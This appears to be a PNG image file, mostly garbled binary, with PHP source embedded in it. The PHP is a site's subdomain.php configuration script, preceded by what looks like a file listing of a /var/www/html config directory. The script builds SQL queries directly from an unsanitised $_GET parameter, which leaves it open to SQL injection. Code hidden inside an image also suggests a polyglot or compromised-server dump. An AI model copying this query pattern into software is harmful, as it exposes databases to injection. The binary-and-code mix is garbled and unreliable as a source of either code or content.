php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /var/www/html/sub/config/ |
files >> /var/www/html/sub/config/subdomain.php |
<?php /*function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } $url = curPageURL(); $subdomain = explode('.', $url); $subdomain = explode('/', $subdomain[0]); $subdomain = $subdomain[2]; //echo $subdomain; */ $subdomain = $_GET['subdomain']; //echo $subdomain; $query = mysql_query("SELECT * FROM `subdomain` WHERE `nama_subdomain` = '$subdomain' LIMIT 0 , 1"); $query = mysql_fetch_array($query); $id_subdomain = $query['id_subdomain']; $background = $query['background']; $logo = $query['foto']; $status = $query['status']; //echo $id_usermember; $query_brand = mysql_query("SELECT * FROM `brand` WHERE `url` LIKE '$subdomain%' LIMIT 0 , 1"); $q_brand = mysql_fetch_array($query_brand); // id_brand id_kategori nama_brand seo_brand url foto aktif $id_brand = $q_brand['id_brand']; $id_kategori = $q_brand['nama_brand']; $nama_brands = $query['nama_website']; $seo_brand = $q_brand['seo_brand']; $foto_brand = $q_brand['foto']; $aktif = $q_brand['aktif']; ?>y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`